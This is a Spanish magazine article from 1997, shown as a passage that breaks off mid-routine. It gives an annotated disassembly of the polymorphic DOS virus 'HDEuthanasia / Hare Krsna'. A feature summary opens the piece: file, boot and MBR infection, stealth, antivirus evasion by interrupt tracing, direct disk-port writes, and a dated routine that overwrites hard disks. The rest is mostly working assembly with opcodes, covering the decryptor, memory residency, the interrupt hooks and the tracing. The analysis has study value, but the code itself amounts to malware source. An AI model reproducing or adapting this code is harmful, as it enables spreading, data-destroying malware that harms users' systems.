home *** CD-ROM | disk | FTP | other *** search
/ PCMania 64 / PCMania CD64_1.iso / phy / phy005 / files / articulo.t18 < prev    next >
Encoding:
Text File  |  1997-02-18  |  537.1 KB  |  1 lines

  1. ε;;                 VIRUS  HDEUTHANASIA  o  HARE KRSNA                               ε;;                 ----------------------------------                                                                                                                    Γ;; ¡Madre mía! Este sí que ha costado de comentar. ¡Menudo virus! Ocupa 7786        Γ;; bytes y más o menos la mitad de esta cantidad está dedicada al polimorfis-       Γ;; mo. Su tarjeta de visita es MUY extensa. Este virus es tan polimórfico que       Γ;; incluso el antivirus AVP necesitaba un módulo especial sólo para él. Este        Γ;; es de los buenos, aunque tiene algunos trozos faltos de optimización que pa-     Γ;; rece mentira. Espero que os guste, porque si no, habré pasado un montón de       Γ;; tiempo comentando y deduciendo cosas para nada. ¡Que os guste, c*ñ*! ¡Es una     Γ;; orden! :)                                                                                                                                                             φ;; FICHA TÉCNICA DEL VIRUS                                                          φ;; -----------------------                                                                                                                                               Γ;; - Infecta COMs, EXEs, BOOTs y MBRs.                                              Γ;; - Su tamaño y polimorfismo es siempre igual en todos los sistemas (al menos,     Γ;;  hasta la versión 2 del virus). Esto se debe a que escribe en una zona del       Γ;;  disco duro no declarada una ristra de words aleatorios y construye sus ru-      Γ;;  tinas de desencriptado a partir de esta. En la versión 3, tiene un 1/16 de      Γ;;  probabilidad de cambiar esta ristra por otra.                                   Γ;; - Stealth: desinfecta los archivos EXE que son abiertos, resta el tamaño del     Γ;;  virus a los archivos infectados al hacer DIR, trampea la función 36h de la      Γ;;  interrupción 21h (la de obtención del espacio libre del disco), si se lee       Γ;;  el BOOT de un disco infectado leeremos el original y no el del virus, etc.      Γ;;  etc.                                                                            Γ;; - Infecta EXEs y COMs cuando son cerrados o ejecutados.                          Γ;; - Infecta el BOOT de los diskettes que son leídos o escritos, y nada más         Γ;;  instalarse en memoria a partir de un programa infectado infecta el MBR del      Γ;;  disco duro principal del sistema. Todo ello si estamos en WINDOWS 95. Si        Γ;;  no se está en él, no infecta BOOTs (no me preguntéis por qué).                  Γ;; - Si arranca desde el BOOT de un diskette, lo único que hace es infectar el      Γ;;  BOOT del disco duro (sin instalarse en memoria) y seguidamente ejecutar el      Γ;;  BOOT del diskette original.                                                     Γ;; - Traza la interrupción 21h para saltarse los monitores antivirus residentes     Γ;;  y todo eso. Si engancha la int 13h, también la traza.                           Γ;; - Si falla la int 13h a la hora de infectar el MBR, lo infecta por hardware,     Γ;;  es decir, usando directamente los ports de la controladora del disco duro       Γ;;  (pa cagalse).                                                                   Γ;; - Los días 22 de Agosto y Septiembre sobreescribe con basura TODO el disco       Γ;;  duro principal y los que va encontrando, además de escribir en pantalla el      Γ;;  mensaje: '"HDEuthanasia-v3" by Demon Emperor: Hare Krsna, hare, hare...'        Γ;; - Evita infectar el COMMAND.COM y los archivos que empiecen por 'TB', 'F-'       Γ;;  e 'IV'. Cuando se ejecuta el CHKDSK desactiva el stealth.                       Γ;; - Y muchas, muchas cosas más.                                                                                                                                         Γ;;                                              ∞Líyak el Oscuro                                                                                                                                                                                              ε;; Aquí llega después de un salto incondicional al principio del virus que          ε;; salta a una rutina de desencriptado polimórfica, y después de la desencrip-      ε;; tación, salta a este punto.                                                                                                                                           ∩0DA6:0000 BE0C00        MOV     SI,0000      Ω; Desencriptador                      ∩0DA6:0003 FC            CLD                  Ω; Empieza a desencriptar por la       ∩0DA6:0004 FB            STI                  Ω; dirección 0014h                     ∩0DA6:0005 B92C0F        MOV     CX,0F2C                                             ∩0DA6:0008 BF1400        MOV     DI,0014                                             ∩0DA6:000B 03FE          ADD     DI,SI                                               ∩0DA6:000D 2E            CS:                                                         ∩0DA6:000E F715          NOT     WORD PTR [DI]                                       ∩0DA6:0010 47            INC     DI                                                  ∩0DA6:0011 47            INC     DI                                                  ∩0DA6:0012 E2F9          LOOP    000D                                                                                                                                     ε;; INICIO DEL VIRUS EN COMs y EXEs                                                                                                                                       ∩0DA6:0014 B823FE        MOV     AX,FE23    Ω; Install-check. Si devuelve en         ∩0DA6:0017 CD21          INT     21         Ω; AX el valor 000Dh, está insta-        ∩0DA6:0019 3D0D00        CMP     AX,000D    Ω; lado, y en ese caso salta y                                                      Ω; evita la instalación.                  ∩0DA6:001C 56            PUSH    SI         Ω; Guarda valores en el stack            ∩0DA6:001D 1E            PUSH    DS                                                  ∩0DA6:001E 7503          JNZ     0023       Ω; Salta si no está instalado            ∩0DA6:0020 E9EC00        JMP     010F       Ω; Salta a la rutina de ejecución                                                   Ω; del programa portador                  ∩0DA6:0023 B0E9          MOV     AL,E9      Ω; En AL, el valor E9h (que aquí re-                                                Ω; sulta ser E9h, pero puede ser uno                                                 Ω; cualquiera)                            ∩0DA6:0025 0AC0          OR      AL,AL      Ω; Mira si AL es 0, ya que este va-                                                 Ω; lor se lo pone el virus al encrip-                                                Ω; tar para la infección. Si es 0,                                                   Ω; evita la desencriptación.              ∩0DA6:0027 7419          JZ      0042       Ω; Si es 0, salta a :0042                ∩0DA6:0029 8AE0          MOV     AH,AL      Ω; AH=AL                                 ∩0DA6:002B 80C401        ADD     AH,01      Ω; Le suma 1 a AH                        ∩0DA6:002E B9650E        MOV     CX,0E65    Ω; En CX el tamaño de la zona crip-                                                 Ω; tada                                   ∩0DA6:0031 BFA201        MOV     DI,01A2    Ω; Empieza a desencriptar en :01AE       ∩0DA6:0034 03FE          ADD     DI,SI                                               ∩0DA6:0036 2E            CS:                                                         ∩0DA6:0037 3105          XOR     [DI],AX    Ω; XORea :DI con AX                      ∩0DA6:0039 47            INC     DI         Ω; Incrementa el puntero en DI           ∩0DA6:003A 47            INC     DI                                                  ∩0DA6:003B 0402          ADD     AL,02      Ω; Modifica AX                           ∩0DA6:003D 80C402        ADD     AH,02                                               ∩0DA6:0040 E2F4          LOOP    0036       Ω; Vuelve a desencriptar                                                                                                                                                 Ω; Aquí después de desencriptar           ∩0DA6:0042 CD12          INT     12         Ω; Obtiene en AX la memoria total                                                   Ω; del sistema                            ∩0DA6:0044 B106          MOV     CL,06                                               ∩0DA6:0046 D3E0          SHL     AX,CL      Ω; Lo multiplica por 64 para obtener                                                Ω; el último segmento de memoria          ∩0DA6:0048 48            DEC     AX         Ω; Decrementa este segmento y lo po-     ∩0DA6:0049 8EC0          MOV     ES,AX      Ω; ne en ES. En un sistema normal y                                                 Ω; no infectado, ES debería contener                                                 Ω; ahora el valor 9FFFh                   ∩0DA6:004B 26            ES:                       Ω; Mira, en caso de que haya      ∩0DA6:004C 813E08005343  CMP     WORD PTR [0008],4353 Ω; en ese segmento un MCB,                                                       Ω; si el nombre del programa                                                         Ω; residente al cual pertene-                                                        Ω; ce ese MCB es 'SC', con lo                                                        Ω; cual pertenece al DOS (SC                                                         Ω; significa System Code).         ∩0DA6:0052 7408          JZ      005C       Ω; Si es, salta                          ∩0DA6:0054 B452          MOV     AH,52      Ω; Obtiene en ES:BX el puntero al        ∩0DA6:0056 CD21          INT     21         Ω; DIB (Dos Info Block)                  ∩0DA6:0058 26            ES:                                                         ∩0DA6:0059 8B47FE        MOV     AX,[BX-02] Ω; Obtiene en AX el segmento del                                                    Ω; primer MCB del sistema                 ∩0DA6:005C 8EC0          MOV     ES,AX      Ω; Lo pone en ES                         ∩0DA6:005E 26            ES:                     Ω; Comprueba si ese MCB es el       ∩0DA6:005F 803E00005A    CMP     BYTE PTR [0000],5A Ω; último que hay en memoria     ∩0DA6:0064 740B          JE      0071       Ω; Si es, sigue con la rutina            ∩0DA6:0066 26            ES:                Ω; Obtiene la dirección de segmento      ∩0DA6:0067 A10300        MOV     AX,[0003]  Ω; del próximo MCB                       ∩0DA6:006A 40            INC     AX         Ω; Incrementa AX                         ∩0DA6:006B 8CC3          MOV     BX,ES      Ω; Pone en BX el segmento actual         ∩0DA6:006D 03C3          ADD     AX,BX      Ω; Le suma BX a AX, de tal manera                                                   Ω; que en AX ahora se encuentra el                                                   Ω; segmento del próximo MCB               ∩0DA6:006F EBEB          JMP     005C       Ω; Vuelve a realizar la rutina           ∩0DA6:0071 26            ES:                Ω; Obtiene el tamaño en párrafos del     ∩0DA6:0072 A10300        MOV     AX,[0003]  Ω; programa que ocupa este MCB           ∩0DA6:0075 2D2D02        SUB     AX,022D    Ω; Le resta lo necesario para el vi-                                                Ω; rus en párrafos (8912 bytes)           ∩0DA6:0078 72DA          JB      0054       Ω; Si hay rebose (lo que pide es más                                                Ω; grande que el propio programa)                                                    Ω; salta al inicio de la rutina es-                                                  Ω; ta, lo que provoca algunas veces                                                  Ω; un LOOP infinito al no caber en                                                   Ω; el último MCB y saltar para vol-                                                  Ω; ver a hacer todo el proceso.           ∩0DA6:007A 26            ES:                Ω; Si no han habido problemas, se        ∩0DA6:007B A30300        MOV     [0003],AX  Ω; pone el nuevo tamaño en el MCB        ∩0DA6:007E 40            INC     AX         Ω; Incrementa AX                         ∩0DA6:007F 8CC3          MOV     BX,ES      Ω; Pone en BX el segmento actual         ∩0DA6:0081 03C3          ADD     AX,BX      Ω; Le suma al segmento actual el ta-                                                Ω; maño obtenido, teniendo de esta                                                   Ω; manera en AX la dirección donde                                                   Ω; poner con seguridad el virus.                                                     Ω; Si todo sale bien y no hay nada                                                   Ω; raro, el virus siempre se insta-                                                  Ω; lará en el MCB del programa por-                                                  Ω; tador, y será como una instala-                                                   Ω; ción standard de virus.                ∩0DA6:0083 8EC0          MOV     ES,AX      Ω; Pone en ES esta dirección de seg-                                                Ω; mento.                                 ∩0DA6:0085 1F            POP     DS         Ω; Saca DS y SI guardados anterior-      ∩0DA6:0086 5E            POP     SI         Ω; mente, aunque no han sido usados                                                 Ω; en ningún momento.                     ∩0DA6:0087 56            PUSH    SI         Ω; Vuelve a guardarlos                   ∩0DA6:0088 1E            PUSH    DS                                                  ∩0DA6:0089 0E            PUSH    CS         Ω; DS = CS                               ∩0DA6:008A 1F            POP     DS                                                  ∩0DA6:008B B96A1E        MOV     CX,1E6A    Ω; En CX el tamaño del virus (7786                                                  Ω; bytes).                                ∩0DA6:008E 33FF          XOR     DI,DI      Ω; DI = 0                                ∩0DA6:0090 FC            CLD                                                         ∩0DA6:0091 F3            REPZ                                                        ∩0DA6:0092 A4            MOVSB              Ω; Copia 7786 bytes a ES:0000            ∩0DA6:0093 06            PUSH    ES         Ω; Pone ES en el stack, el valor         ∩0DA6:0094 B89900        MOV     AX,0099    Ω; 0099h...                              ∩0DA6:0097 50            PUSH    AX                                                  ∩0DA6:0098 CB            RETF               Ω; ...y salta a la copia en memoria                                                 Ω; en ES:0099, que es...                                                                                                                                                  Ω; ...aquí.                               ∩0DA6:0099 2E            CS:                Ω; Pone el valor 0 en [018C]             ∩0DA6:009A 880E8C01      MOV     [018C],CL                                           ∩0DA6:009E B80A16        MOV     AX,160A    Ω; Comprueba si está WINDOWS en me-      ∩0DA6:00A1 CD2F          INT     2F         Ω; moria                                 ∩0DA6:00A3 0BC0          OR      AX,AX      Ω; Si no está, salta a :00B2             ∩0DA6:00A5 750B          JNZ     00B2                                                ∩0DA6:00A7 83F903        CMP     CX,+03     Ω; Mira si está en modo standard         ∩0DA6:00AA 7206          JB      00B2       Ω; Si lo está, salta                     ∩0DA6:00AC 2E            CS:                                                         ∩0DA6:00AD 800E8C0180    OR      BYTE PTR [018C],80 Ω; Activa el bit 7 en :018C      ∩0DA6:00B2 E81B08        CALL    08D0       Ω; Llama a una función para escribir                                                Ω; en un sector del disco duro una                                                   Ω; serie de datos aleatorios que                                                     Ω; usará a la hora de infectar para                                                  Ω; la rutina de polimorfismo.             ∩0DA6:00B5 E8C112        CALL    1379       Ω; Macro-rutina para comprobar si el                                                Ω; sistema está ya infectado, y en                                                   Ω; caso contrario infectarlo. Hace                                                   Ω; una burrada de cosas.                  ∩0DA6:00B8 0E            PUSH    CS         Ω; DS = CS                               ∩0DA6:00B9 1F            POP     DS                                                  ∩0DA6:00BA B452          MOV     AH,52      Ω; Obtiene en ES:BX el puntero sobre     ∩0DA6:00BC CD21          INT     21         Ω; el DOS-Info-Block                     ∩0DA6:00BE 26            ES:                Ω; Obtiene el segmento del primer        ∩0DA6:00BF 8B47FE        MOV     AX,[BX-02] Ω; MCB en memoria                        ∩0DA6:00C2 A38201        MOV     [0182],AX  Ω; Guarda este dato en [0182]            ∩0DA6:00C5 C606910119    MOV     BYTE PTR [0191],19 Ω; Guarda ciertos datos en       ∩0DA6:00CA C606850100    MOV     BYTE PTR [0185],00 Ω; variables                     ∩0DA6:00CF C606840101    MOV     BYTE PTR [0184],01                                  ∩0DA6:00D4 B82135        MOV     AX,3521    Ω; Obtiene el puntero a la               ∩0DA6:00D7 CD21          INT     21         Ω; int 21h                               ∩0DA6:00D9 891E6401      MOV     [0164],BX  Ω; Lo guarda en dos variables dis-       ∩0DA6:00DD 8C066601      MOV     [0166],ES  Ω; tintas                                ∩0DA6:00E1 891E7E01      MOV     [017E],BX                                           ∩0DA6:00E5 8C068001      MOV     [0180],ES                                           ∩0DA6:00E9 E80A01        CALL    01F6       Ω; Lo traza para obtener el puntero                                                 Ω; real (si no lo es) a la int 21h        ∩0DA6:00EC FC            CLD                Ω; Lo copia a la zona definitiva         ∩0DA6:00ED BE7E01        MOV     SI,017E    Ω; donde lo guardará, esto es, en        ∩0DA6:00F0 BF6001        MOV     DI,0160    Ω; CS:0160h                              ∩0DA6:00F3 A5            MOVSW                                                       ∩0DA6:00F4 A5            MOVSW                                                       ∩0DA6:00F5 33C0          XOR     AX,AX      Ω; DS = 0                                ∩0DA6:00F7 8ED8          MOV     DS,AX                                               ∩0DA6:00F9 C70684008803  MOV     WORD PTR [0084],0388 Ω; Pone en la TVI el pun-                                                                                           ∩0DA6:00FF 8C0E8600      MOV     [0086],CS  Ω; tero a su propia int 21h              ∩0DA6:0103 E82117        CALL    1827       Ω; Rutina para comprobar si está en                                                 Ω; WINDOWS 95, y si está entonces                                                    Ω; pone una nueva int 13h (la suya)       ∩0DA6:0106 E86F06        CALL    0778       Ω; Rutina que borra un fichero de                                                   Ω; WINDOWS 95 que ???                     ∩0DA6:0109 07            POP     ES         Ω; Saca ES y SI del stack, que guar-     ∩0DA6:010A 5E            POP     SI         Ω; daban DS y SI inicial del archivo     ∩0DA6:010B 33F6          XOR     SI,SI      Ω; Pone SI a 0                           ∩0DA6:010D 56            PUSH    SI         Ω; Lo vuelve a guardar para no hacer     ∩0DA6:010E 06            PUSH    ES         Ω; salto, aunque le hubiera dado lo                                                 Ω; mismo (en lo que a tamaño se re-                                                  Ω; fiere)                                                                                                                                                                 Ω; Aquí llega si el virus ya estaba                                                  Ω; instalado desde :0020                  ∩0DA6:010F 07            POP     ES         Ω; Saca ES y SI, guardados antes de      ∩0DA6:0110 5E            POP     SI         Ω; :0020 como DS y SI. Estos contie-                                                Ω; nen la dirección de inicio del                                                    Ω; virus, o también llamado el                                                       Ω; "offset Delta"                         ∩0DA6:0111 06            PUSH    ES         Ω; DS = ES                               ∩0DA6:0112 1F            POP     DS                                                  ∩0DA6:0113 1E            PUSH    DS         Ω; Guarda DS, que es el segmento de                                                 Ω; memoria donde se encuentra el pro-                                                Ω; grama que contenía al virus y des-                                                Ω; de donde se inició la ejecución                                                   Ω; antes de que el virus saltara a                                                   Ω; memoria                                ∩0DA6:0114 2E            CS:                Ω; Comprueba si el byte en [0179] es     ∩0DA6:0115 80BC790101    CMP     BYTE PTR [SI+0179],01 Ω; el valor 1, lo que in-                                                Ω; dicará que es un archivo EXE           ∩0DA6:011A 7413          JZ      012F       Ω; Si es, salta a la ejecucución de                                                 Ω; EXEs                                                                                                                        ε;;;;;; Rutina de ejecución de COMs                                                                                                                                       ∩0DA6:011C 81C66B01      ADD     SI,016B    Ω; Obtiene en SI la dirección donde                                                 Ω; ha guardado los 3 bytes iniciales                                                 Ω; del COM infectado                      ∩0DA6:0120 BF0001        MOV     DI,0100    Ω; DI = 0100h (inicio de un COM)         ∩0DA6:0123 57            PUSH    DI         Ω; Guarda DI en el stack                 ∩0DA6:0124 FC            CLD                Ω; Direction Flag a 1                    ∩0DA6:0125 0E            PUSH    CS         Ω; DS = CS                               ∩0DA6:0126 1F            POP     DS                                                  ∩0DA6:0127 A5            MOVSW              Ω; Copia 3 bytes                         ∩0DA6:0128 A4            MOVSB                                                       ∩0DA6:0129 06            PUSH    ES         Ω; DS = ES                               ∩0DA6:012A 1F            POP     DS                                                  ∩0DA6:012B E86400        CALL    0192       Ω; Rutina para poner banderas y re-                                                 Ω; gistros a 0 (todos menos SI). Es-                                                 Ω; to es peligroso, ya que los re-                                                   Ω; gistros en el DOS no están a 0 al                                                 Ω; ejecutar un programa. Muchos pro-                                                 Ω; gramas emplean esto como truco                                                    Ω; anti-debugger (ya que estos ponen                                                 Ω; los registros a 0 al empezar), y                                                  Ω; otros emplean los mismos regis-                                                   Ω; tros iniciales para hacer opera-                                                  Ω; ciones. Sea como sea, esta rutina                                                 Ω; podría provocar el mal funciona-                                                  Ω; miento de algunos programas.           ∩0DA6:012E CB            RETF               Ω; Salta al inicio del COM.                                                                                                   ε;;;;;; Rutina de ejecución de EXEs                                                                                                                                       ∩0DA6:012F 2E            CS:                Ω; Coge en AX el CS inicial del HOST     ∩0DA6:0130 8B846D01      MOV     AX,[SI+016D]                                        ∩0DA6:0134 5B            POP     BX         Ω; En BX el PSP (que es el DS y el                                                  Ω; ES inicial en un EXE)                  ∩0DA6:0135 83C310        ADD     BX,+10     Ω; Le suma un párrafo para sacar el                                                 Ω; inicio de la copia en memoria del                                                 Ω; programa                               ∩0DA6:0138 03C3          ADD     AX,BX      Ω; Le suma el segmento del puntero                                                  Ω; de inicio (contenido en el byte                                                   Ω; nº 16h de la cabecera)                 ∩0DA6:013A 2E            CS:                Ω; Lo mete en [015E]                     ∩0DA6:013B 89845E01      MOV     [SI+015E],AX                                        ∩0DA6:013F 2E            CS:                Ω; Coge el IP inicial del EXE (con-      ∩0DA6:0140 8B846B01      MOV     AX,[SI+016B] Ω; tenido en el byte nº 14)            ∩0DA6:0144 2E            CS:                Ω; Lo mete en [015C]. Ahora ha for-      ∩0DA6:0145 89845C01      MOV     [SI+015C],AX Ω; mado una instrucción JMP FAR                                                   Ω; en :015B que le dirigirá al ini-                                                  Ω; cio real del EXE                       ∩0DA6:0149 2E            CS:                                                         ∩0DA6:014A 019C7101      ADD     [SI+0171],BX Ω; Le suma el segmento inicial al                                                 Ω; valor SS inicial que figura en la                                                 Ω; cabecera                               ∩0DA6:014E E84100        CALL    0192       Ω; Pone todos los registros menos el                                                Ω; SI a 0                                 ∩0DA6:0151 2E            CS:                Ω; Pone en SS el valor que le corres-    ∩0DA6:0152 8E947101      MOV     SS,[SI+0171] Ω; ponde según la cabecera             ∩0DA6:0156 2E            CS:                Ω; Pone ahora el SP...                   ∩0DA6:0157 8BA46F01      MOV     SP,[SI+016F]                                        ∩0DA6:015B EABB00F20B    JMP     0BF2:00BB  Ω; ... y efectúa el salto al EXE.                                                                                                                                                                                  ε;;;;; Zona de variables                                                             ε;;;;;-------------------                                                                                                                                                 ∩0DA6:0160 9E101601      DB      9E,10,16,01 Ω; Aquí guarda el puntero trazado                                                   Ω; a la int 21h                          ∩0DA6:0164 CC01AD05      DB      CC,01,AD,05 Ω; Aquí guarda el puntero a la int                                                  Ω; 21h sin trazar                                                                                                             ∩0DA6:0168 E9            DB      E9      Ω; Opcode de JMP. Aquí es donde constru-    ∩0DA6:0169 0000          DB      00,00   Ω; ye el JMP inicial en un COM                                                                                                                                          Ω; En un EXE:                                 ∩0DA6:016B 0001          DB      00,01  Ω; IP inicial del host (valor en el byte                                            Ω; (nº 14h de la cabecera)                    ∩0DA6:016D F0FF          DB      F0,FF  Ω; CS inicial del host                       ∩0DA6:016F 0002          DB      00,02  Ω; SP inicial                                ∩0DA6:0171 E403          DB      E4,03  Ω; SS inicial                                                                       Ω; En un COM: Los bytes contenidos en                                                Ω; [016B], [016C] y [016D] son los tres                                              Ω; bytes iniciales del COM                    ∩0DA6:0173 3C00          DB      3C,00  Ω; Resto de dividir el tamaño del archivo                                           Ω; original entre 512 (dato obtenido en                                              Ω; la cabecera original, en la posición                                              Ω; +02h)                                      ∩0DA6:0175 2000          DB      20,00  Ω; Cociente de dividir el tamaño entre                                              Ω; 512 (que está en la posición +04h de                                              Ω; la cabecera)                               ∩0DA6:0177 C032          DB      C0,32  Ω; Copia de la hora original del archivo                                                                                          ∩0DA6:0179 01            DB      01     Ω; Identificación de COM o EXE. 00=COM,                                             Ω; 01=EXE                                                                                                                          ∩0DA6:017A 761E          DB      76,1E  Ω; Aquí guarda el puntero a la int 01h       ∩0DA6:017C DB03          DB      DB,03  Ω; cuando traza las interrupciones                                                                                                ∩0DA6:017E BA73          DB      BA,73  Ω; Lugar donde guarda la fecha y hora de     ∩0DA6:0180 7A22          DB      7A,22  Ω; la última modificación de un archivo,                                            Ω; para restaurarlas al infectarlo                                                                                                 ∩0DA6:0182 0000          DB      00,00  Ω; Aquí guarda el segmento más bajo ob-                                             Ω; tenido al trazar las interrupciones                                                                                             ∩0DA6:0184 00            DB      00     Ω; Cuando está a 1 indica que se ha en-                                             Ω; contrado un segmento menor que el ob-                                             Ω; tenido antes a la hora de trazar                                                                                                ∩0DA6:0185 00            DB      00     Ω; A la hora de trazar interrupciones, si                                           Ω; está a 1 significa que ha habido una                                              Ω; instrucción PUSHF durante el trazado.                                             Ω; Si está a 0, no (¡Obvio! Parece que                                               Ω; esté comentando el código para gili-                                              Ω; pollas :)                                                                                                                       ∩0DA6:0186 0000          DB      00,00  Ω; Aquí guarda el segmento en el que es-                                            Ω; tá en cada momento al invocar la int                                              Ω; 01h cuando traza interrupciones.                                                  Ω; En el momento de infectar por int 21h,                                            Ω; también se guardan aquí los atributos                                             Ω; originales del archivo antes de ser                                               Ω; cambiados                                                                                                                       ∩0DA6:0188 0000          DB      00,00  Ω; Lugar donde guarda el vector a la int     ∩0DA6:018A 0000          DB      00,00  Ω; 1Ch en la instalación por BOOT                                                                                                 ∩0DA6:018C 00            DB      00     Ω; Byte de control en el cual sólo se                                               Ω; usan sus bits.                                                                    Ω; bit 0 = Se ejecuta un antivirus cono-                                             Ω;         cido (IV*, F-PROT o TBAV)                                                 Ω; bit 1 = Se ejecuta el archivo CHKDSK                                              Ω; bit 2 = Sistema operativo WINDOWS 95                                              Ω; bit 3 = Indica que ha habido una in-                                              Ω;         versión del orden en dos ins-                                             Ω;         trucciones en la rutina de                                                Ω;         polimorfear el BOOT en :1462.                                             Ω;         Es encendido también en :0A59                                             Ω;         para indicar algo.                                                        Ω; bit 4 = Encendido en :0A87 para indi-                                             Ω;         car que en el stack NO se ha-                                             Ω;         lla el Entry Point del virus.                                             Ω;         Es usado en :0C68                                                         Ω; bit 5 = ?                                                                         Ω; bit 6 = ?                                                                         Ω; bit 7 = WINDOWS está en memoria                                                                                                 ∩0DA6:018D E915          DB      E9,15  Ω; Dirección donde guarda el PSP actual-                                            Ω; mente en ejecución (lo utiliza en la                                              Ω; rutina en :02CC para la obtención del                                             Ω; espacio libre en disco)                    ∩0DA6:018F 771D          DB      00,00  Ω; Aquí guarda el número de clusters li-                                            Ω; bres que devuelve la función 36h de                                               Ω; la int 21h                                 ∩0DA6:0191 00            DB      00     Ω; Aquí guarda el número de dispositivo                                             Ω; que se intenta acceder mediante la                                                Ω; función 36h de la int 21h                                                                                                       ε;;;; Rutina para poner banderas y todos los registros (menos SI) a 0                                                                                                     ∩0DA6:0192 33C0          XOR     AX,AX                                               ∩0DA6:0194 50            PUSH    AX                                                  ∩0DA6:0195 9D            POPF               Ω; Flags a 0                             ∩0DA6:0196 FB            STI                Ω; STI porque si no se quedaba como                                                 Ω; si se hubiera hecho CLI                ∩0DA6:0197 8BC8          MOV     CX,AX      Ω; CX = 0                                ∩0DA6:0199 8BF8          MOV     DI,AX      Ω; DI = 0                                ∩0DA6:019B 8BE8          MOV     BP,AX      Ω; BP = 0                                ∩0DA6:019D 8BD0          MOV     DX,AX      Ω; DX = 0                                ∩0DA6:019F 8BD8          MOV     BX,AX      Ω; BX = 0                                ∩0DA6:01A1 C3            RET                Ω; Retorna                                                                                                                    ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;     ε;;; Interrupción 01 que utiliza para el trazado de interrupciones          ;;;;     ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;     ε;; Esta rutina comprueba durante su funcionamiento el segmento en el que se   ;     ε;; está ejecutando la interrupción trazada almacena la dirección en la que    ;     ε;; se cambie de segmento, y se quedará con el segmento más pequeño encontrado,;     ε;; que indicará que es la interrupción del sistema operativo y no de un pro-  ;     ε;; grama instalado posteriormente.                                            ;     ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                          ∩0DA6:01A2 50            PUSH    AX          Ω; Guarda registros usados por la       ∩0DA6:01A3 53            PUSH    BX          Ω; rutina                               ∩0DA6:01A4 55            PUSH    BP                                                  ∩0DA6:01A5 1E            PUSH    DS                                                  ∩0DA6:01A6 8BEC          MOV     BP,SP       Ω; Pone en BP el Stack Pointer          ∩0DA6:01A8 8B460A        MOV     AX,[BP+0A]  Ω; En AX mete el segmento donde se                                                  Ω; estaba cuando se llamó a la int                                                   Ω; 01h                                   ∩0DA6:01AB 8B5E08        MOV     BX,[BP+08]  Ω; En BX, el IP (la dirección de                                                    Ω; offset donde se estaba)               ∩0DA6:01AE 2E            CS:                                                         ∩0DA6:01AF 8C0E8601      MOV     [0186],CS   Ω; En [0186] guarda el CS actual        ∩0DA6:01B3 2E            CS:                                                         ∩0DA6:01B4 3B068601      CMP     AX,[0186]   Ω; Comprueba si el CS actual es el                                                  Ω; mismo que desde donde se llamó                                                    Ω; la int 01 (recordemos que cada                                                    Ω; instrucción llamará a la int 01                                                   Ω; al finalizarse su ejecución, al                                                   Ω; estar el Trap Flag a 1)               ∩0DA6:01B8 7428          JZ      01E2        Ω; Si es el mismo, quiere decir que                                                 Ω; se está ejecutando código del                                                     Ω; virus, y por tanto acaba              ∩0DA6:01BA E87400        CALL    0231        Ω; Comprueba si la instrucción que                                                  Ω; se va a ejecutar es PUSHF o                                                       Ω; POPF, en cuyo caso hace las ope-                                                  Ω; raciones pertinentes para evitar                                                  Ω; que el Trap Flag sea puesto a 0       ∩0DA6:01BD 3D00F0        CMP     AX,F000     Ω; Comprueba si el segmento es F000     ∩0DA6:01C0 7307          JNB     01C9        Ω; Si es mayor o igual, salta           ∩0DA6:01C2 2E            CS:                 Ω; Comprueba si el segmento actual      ∩0DA6:01C3 3B068201      CMP     AX,[0182]   Ω; es mayor del ya obtenido             ∩0DA6:01C7 7719          JA      01E2        Ω; Si es mayor, salta y acaba la                                                    Ω; interrupción                          ∩0DA6:01C9 2E            CS:                 Ω; Comprueba si el byte en [0184]       ∩0DA6:01CA 8026840101    AND     BYTE PTR [0184],01 Ω; está a 1                      ∩0DA6:01CF 7411          JZ      01E2        Ω; Si no está, acaba normalmente        ∩0DA6:01D1 2E            CS:                                                         ∩0DA6:01D2 C606840100    MOV     BYTE PTR [0184],00 Ω; Pone el byte en [0184]                                                           Ω; a 0                            ∩0DA6:01D7 2E            CS:                 Ω; Pone en [0180] el segmento ac-       ∩0DA6:01D8 A38001        MOV     [0180],AX   Ω; tual                                 ∩0DA6:01DB 8B4608        MOV     AX,[BP+08]  Ω; Mete en AX el IP actual              ∩0DA6:01DE 2E            CS:                                                         ∩0DA6:01DF A37E01        MOV     [017E],AX   Ω; Lo pone en [017E]                    ∩0DA6:01E2 1F            POP     DS          Ω; Saca los registros del stack         ∩0DA6:01E3 5D            POP     BP                                                  ∩0DA6:01E4 5B            POP     BX                                                  ∩0DA6:01E5 58            POP     AX                                                  ∩0DA6:01E6 2E            CS:                 Ω; Comprueba si el byte en [0185]       ∩0DA6:01E7 803E850101    CMP     BYTE PTR [0185],01 Ω; está a 1, que indicaría                                                          Ω; que ha habido una ins-                                                            Ω; trucción PUSHF                 ∩0DA6:01EC 7401          JZ      01EF        Ω; Si está, salta                       ∩0DA6:01EE CF            IRET                Ω; Retorno de interrupción normal                                                                                            ∩0DA6:01EF 2E            CS:                 Ω; Pone el byte en [0185] a 0           ∩0DA6:01F0 C606850100    MOV     BYTE PTR [0185],00                                  ∩0DA6:01F5 CB            RETF                Ω; RETF para que saque sólo CS e IP                                                 Ω; y no saque el stack, que ya ha                                                    Ω; sido modificado por esta función                                                                                           ε;;; Rutina de enganche de la int 01 para el trazado de la interrupción cuyo         ε;;; puntero se encuentre en la variable DD[017E]                                                                                                                         ∩0DA6:01F6 B80135        MOV     AX,3501      Ω; Obtiene el puntero de la int 01     ∩0DA6:01F9 CD21          INT     21                                                  ∩0DA6:01FB 891E7A01      MOV     [017A],BX    Ω; Lo guarda                           ∩0DA6:01FF 8C067C01      MOV     [017C],ES                                           ∩0DA6:0203 BAA201        MOV     DX,01A2      Ω; Lo redirecciona a una zona suya     ∩0DA6:0206 B425          MOV     AH,25        Ω; de código                           ∩0DA6:0208 CD21          INT     21                                                  ∩0DA6:020A 32D2          XOR     DL,DL        Ω; Pone DX con el valor 0100h          ∩0DA6:020C 9C            PUSHF                Ω; Pone en AX las banderas             ∩0DA6:020D 58            POP     AX                                                  ∩0DA6:020E 0D0001        OR      AX,0100      Ω; Activa el Trap Flag para que        ∩0DA6:0211 50            PUSH    AX           Ω; en cada instrucción se ejecute      ∩0DA6:0212 9D            POPF                 Ω; la int 01                           ∩0DA6:0213 8A269101      MOV     AH,[0191]    Ω; 